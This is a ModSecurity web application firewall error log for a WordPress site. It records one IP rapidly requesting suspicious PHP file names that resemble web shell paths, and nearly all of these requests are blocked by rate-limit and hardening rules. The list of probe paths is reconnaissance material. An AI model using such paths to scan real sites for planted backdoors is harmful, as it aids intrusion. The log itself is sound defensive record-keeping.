[Fri Apr 03 01:34:06.090460 2026] [:error] [pid 25010:tid 25366] [client 158.158.110.103:40905] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fyiiz.php"] [unique_id "ac6ojo_KcjFQF5TuqTWoXQAAABE"]
[Fri Apr 03 01:34:06.571661 2026] [:error] [pid 25010:tid 25370] [client 158.158.110.103:57005] [client 158.158.110.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/app.php"] [unique_id "ac6ojo_KcjFQF5TuqTWoYgAAABU"]
[Fri Apr 03 01:34:07.052485 2026] [:error] [pid 25035:tid 25442] [client 158.158.110.103:56307] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/max.php"] [unique_id "ac6ojxhR292toNOkLqG2pwAAAIA"]
[Fri Apr 03 01:34:07.534986 2026] [:error] [pid 25018:tid 25434] [client 158.158.110.103:57020] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/max.php"] [unique_id "ac6oj3upR6lXnAUzFGr4XgAAAFU"]
[Fri Apr 03 01:34:08.026710 2026] [:error] [pid 25470:tid 25474] [client 158.158.110.103:40953] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/max.php"] [unique_id "ac6okHhROcck6_9HYygYlwAAAMI"]
[Fri Apr 03 01:34:08.507070 2026] [:error] [pid 25018:tid 25420] [client 158.158.110.103:60151] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "ac6okHupR6lXnAUzFGr4YgAAAEc"]
[Fri Apr 03 01:34:08.992888 2026] [:error] [pid 25470:tid 25488] [client 158.158.110.103:40928] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "ac6okHhROcck6_9HYygYmgAAANA"]
[Fri Apr 03 01:34:09.471196 2026] [:error] [pid 25035:tid 25443] [client 158.158.110.103:41499] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "ac6okRhR292toNOkLqG2rgAAAIE"]
[Fri Apr 03 01:34:09.969949 2026] [:error] [pid 25035:tid 25454] [client 158.158.110.103:52181] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "ac6okRhR292toNOkLqG2sAAAAIw"]
[Fri Apr 03 01:34:10.456986 2026] [:error] [pid 25035:tid 25459] [client 158.158.110.103:56988] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "ac6okhhR292toNOkLqG2tAAAAJE"]
[Fri Apr 03 01:34:10.936405 2026] [:error] [pid 25010:tid 25354] [client 158.158.110.103:56294] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "ac6oko_KcjFQF5TuqTWocAAAAAY"]
[Fri Apr 03 01:34:11.429272 2026] [:error] [pid 25470:tid 25494] [client 158.158.110.103:60153] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "ac6ok3hROcck6_9HYygYowAAANY"]
[Fri Apr 03 01:34:11.911308 2026] [:error] [pid 25018:tid 25414] [client 158.158.110.103:60150] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "ac6ok3upR6lXnAUzFGr4bAAAAEI"]
[Fri Apr 03 01:34:12.407425 2026] [:error] [pid 25035:tid 25443] [client 158.158.110.103:52168] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ng.php"] [unique_id "ac6olBhR292toNOkLqG2uwAAAIE"]
[Fri Apr 03 01:34:12.887965 2026] [:error] [pid 25035:tid 25451] [client 158.158.110.103:56280] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ng.php"] [unique_id "ac6olBhR292toNOkLqG2vgAAAIk"]
[Fri Apr 03 01:34:13.378892 2026] [:error] [pid 25035:tid 25461] [client 158.158.110.103:58823] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ng.php"] [unique_id "ac6olRhR292toNOkLqG2wQAAAJM"]
[Fri Apr 03 01:34:13.862155 2026] [:error] [pid 25470:tid 25480] [client 158.158.110.103:52196] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ng.php"] [unique_id "ac6olXhROcck6_9HYygYqQAAAMg"]
[Fri Apr 03 01:34:14.340995 2026] [:error] [pid 25018:tid 25431] [client 158.158.110.103:58846] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "ac6olnupR6lXnAUzFGr4dQAAAFI"]
[Fri Apr 03 01:34:14.824371 2026] [:error] [pid 25010:tid 25369] [client 158.158.110.103:56292] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "ac6olo_KcjFQF5TuqTWoeQAAABQ"]
[Fri Apr 03 01:34:15.306053 2026] [:error] [pid 25035:tid 25451] [client 158.158.110.103:57015] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "ac6olxhR292toNOkLqG2ygAAAIk"]
[Fri Apr 03 01:34:15.794577 2026] [:error] [pid 25010:tid 25359] [client 158.158.110.103:54541] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "ac6ol4_KcjFQF5TuqTWofAAAAAs"]
[Fri Apr 03 01:34:16.280687 2026] [:error] [pid 25018:tid 25420] [client 158.158.110.103:54586] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/erty.php"] [unique_id "ac6omHupR6lXnAUzFGr4ewAAAEc"]
[Fri Apr 03 01:34:16.801795 2026] [:error] [pid 25035:tid 25460] [client 158.158.110.103:52163] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/erty.php"] [unique_id "ac6omBhR292toNOkLqG20QAAAJI"]
[Fri Apr 03 01:34:17.282844 2026] [:error] [pid 25035:tid 25443] [client 158.158.110.103:56985] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/erty.php"] [unique_id "ac6omRhR292toNOkLqG21AAAAIE"]
[Fri Apr 03 01:34:17.764508 2026] [:error] [pid 25010:tid 25353] [client 158.158.110.103:38280] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/erty.php"] [unique_id "ac6omY_KcjFQF5TuqTWoggAAAAU"]
[Fri Apr 03 01:34:18.243860 2026] [:error] [pid 25010:tid 25347] [client 158.158.110.103:60136] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0.php"] [unique_id "ac6omo_KcjFQF5TuqTWohAAAAAA"]
[Fri Apr 03 01:34:18.761985 2026] [:error] [pid 25470:tid 25481] [client 158.158.110.103:52162] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0.php"] [unique_id "ac6omnhROcck6_9HYygYsgAAAMk"]
[Fri Apr 03 01:34:19.251413 2026] [:error] [pid 25035:tid 25455] [client 158.158.110.103:52140] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0.php"] [unique_id "ac6omxhR292toNOkLqG22QAAAI0"]
[Fri Apr 03 01:34:19.731804 2026] [:error] [pid 25035:tid 25466] [client 158.158.110.103:52183] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0.php"] [unique_id "ac6omxhR292toNOkLqG23AAAAJg"]
[Fri Apr 03 01:34:20.212660 2026] [:error] [pid 25018:tid 25417] [client 158.158.110.103:56285] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wgift1.php"] [unique_id "ac6onHupR6lXnAUzFGr4iQAAAEQ"]
[Fri Apr 03 01:34:20.697128 2026] [:error] [pid 25018:tid 25433] [client 158.158.110.103:58871] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wgift1.php"] [unique_id "ac6onHupR6lXnAUzFGr4iwAAAFQ"]
[Fri Apr 03 01:34:21.199147 2026] [:error] [pid 25470:tid 25475] [client 158.158.110.103:38320] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wgift1.php"] [unique_id "ac6onXhROcck6_9HYygYvAAAAMM"]
[Fri Apr 03 01:34:21.692331 2026] [:error] [pid 25018:tid 25424] [client 158.158.110.103:60154] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wgift1.php"] [unique_id "ac6onXupR6lXnAUzFGr4jgAAAEs"]
[Fri Apr 03 01:34:22.182814 2026] [:error] [pid 25018:tid 25411] [client 158.158.110.103:40915] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rithin.php"] [unique_id "ac6onnupR6lXnAUzFGr4kAAAAEA"]
[Fri Apr 03 01:34:22.669184 2026] [:error] [pid 25470:tid 25478] [client 158.158.110.103:40933] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rithin.php"] [unique_id "ac6onnhROcck6_9HYygYygAAAMY"]
[Fri Apr 03 01:34:23.167796 2026] [:error] [pid 25018:tid 25428] [client 158.158.110.103:52197] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rithin.php"] [unique_id "ac6on3upR6lXnAUzFGr4kgAAAE8"]
[Fri Apr 03 01:34:23.662082 2026] [:error] [pid 25018:tid 25418] [client 158.158.110.103:52219] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rithin.php"] [unique_id "ac6on3upR6lXnAUzFGr4lAAAAEU"]
[Fri Apr 03 01:34:24.151245 2026] [:error] [pid 25470:tid 25481] [client 158.158.110.103:56991] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "ac6ooHhROcck6_9HYygY1QAAAMk"]
[Fri Apr 03 01:34:24.632817 2026] [:error] [pid 25035:tid 25458] [client 158.158.110.103:40925] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "ac6ooBhR292toNOkLqG25gAAAJA"]
[Fri Apr 03 01:34:25.129356 2026] [:error] [pid 25470:tid 25490] [client 158.158.110.103:58825] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "ac6ooXhROcck6_9HYygY3gAAANI"]
[Fri Apr 03 01:34:25.615748 2026] [:error] [pid 25470:tid 25474] [client 158.158.110.103:40944] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "ac6ooXhROcck6_9HYygY5AAAAMI"]
[Fri Apr 03 01:34:26.113594 2026] [:error] [pid 25470:tid 25482] [client 158.158.110.103:40918] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "ac6oonhROcck6_9HYygY6QAAAMo"]
[Fri Apr 03 01:34:26.610507 2026] [:error] [pid 25010:tid 25348] [client 158.158.110.103:42073] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "ac6ooo_KcjFQF5TuqTWojQAAAAE"]
[Fri Apr 03 01:34:27.094212 2026] [:error] [pid 25470:tid 25486] [client 158.158.110.103:56273] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "ac6oo3hROcck6_9HYygY8AAAAM4"]
[Fri Apr 03 01:34:27.595999 2026] [:error] [pid 25010:tid 25363] [client 158.158.110.103:57010] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "ac6oo4_KcjFQF5TuqTWokQAAAA4"]
[Fri Apr 03 01:34:28.075030 2026] [:error] [pid 25010:tid 25371] [client 158.158.110.103:40898] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwq13.php"] [unique_id "ac6opI_KcjFQF5TuqTWolAAAABY"]
[Fri Apr 03 01:34:28.571210 2026] [:error] [pid 25010:tid 25366] [client 158.158.110.103:54584] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwq13.php"] [unique_id "ac6opI_KcjFQF5TuqTWolgAAABE"]
[Fri Apr 03 01:34:29.059098 2026] [:error] [pid 25470:tid 25483] [client 158.158.110.103:52208] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwq13.php"] [unique_id "ac6opXhROcck6_9HYygY_AAAAMs"]
[Fri Apr 03 01:34:29.540571 2026] [:error] [pid 25470:tid 25480] [client 158.158.110.103:56305] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwq13.php"] [unique_id "ac6opXhROcck6_9HYygY_QAAAMg"]
[Fri Apr 03 01:34:30.029550 2026] [:error] [pid 25470:tid 25486] [client 158.158.110.103:40880] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aapig.php"] [unique_id "ac6opnhROcck6_9HYygZAQAAAM4"]
[Fri Apr 03 01:34:30.510849 2026] [:error] [pid 25010:tid 25357] [client 158.158.110.103:54577] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aapig.php"] [unique_id "ac6opo_KcjFQF5TuqTWongAAAAk"]
[Fri Apr 03 01:34:31.008535 2026] [:error] [pid 25470:tid 25478] [client 158.158.110.103:56304] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aapig.php"] [unique_id "ac6op3hROcck6_9HYygZCgAAAMY"]
[Fri Apr 03 01:34:31.492777 2026] [:error] [pid 25010:tid 25371] [client 158.158.110.103:40941] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aapig.php"] [unique_id "ac6op4_KcjFQF5TuqTWoowAAABY"]
[Fri Apr 03 01:34:31.997883 2026] [:error] [pid 25035:tid 25460] [client 158.158.110.103:56962] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/webadmin.php"] [unique_id "ac6opxhR292toNOkLqG27wAAAJI"]
[Fri Apr 03 01:34:32.500973 2026] [:error] [pid 25035:tid 25459] [client 158.158.110.103:40949] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/webadmin.php"] [unique_id "ac6oqBhR292toNOkLqG29AAAAJE"]
[Fri Apr 03 01:34:33.021740 2026] [:error] [pid 25010:tid 25349] [client 158.158.110.103:58819] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/webadmin.php"] [unique_id "ac6oqY_KcjFQF5TuqTWorAAAAAI"]
[Fri Apr 03 01:34:33.508506 2026] [:error] [pid 25018:tid 25431] [client 158.158.110.103:54533] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/webadmin.php"] [unique_id "ac6oqXupR6lXnAUzFGr4oQAAAFI"]
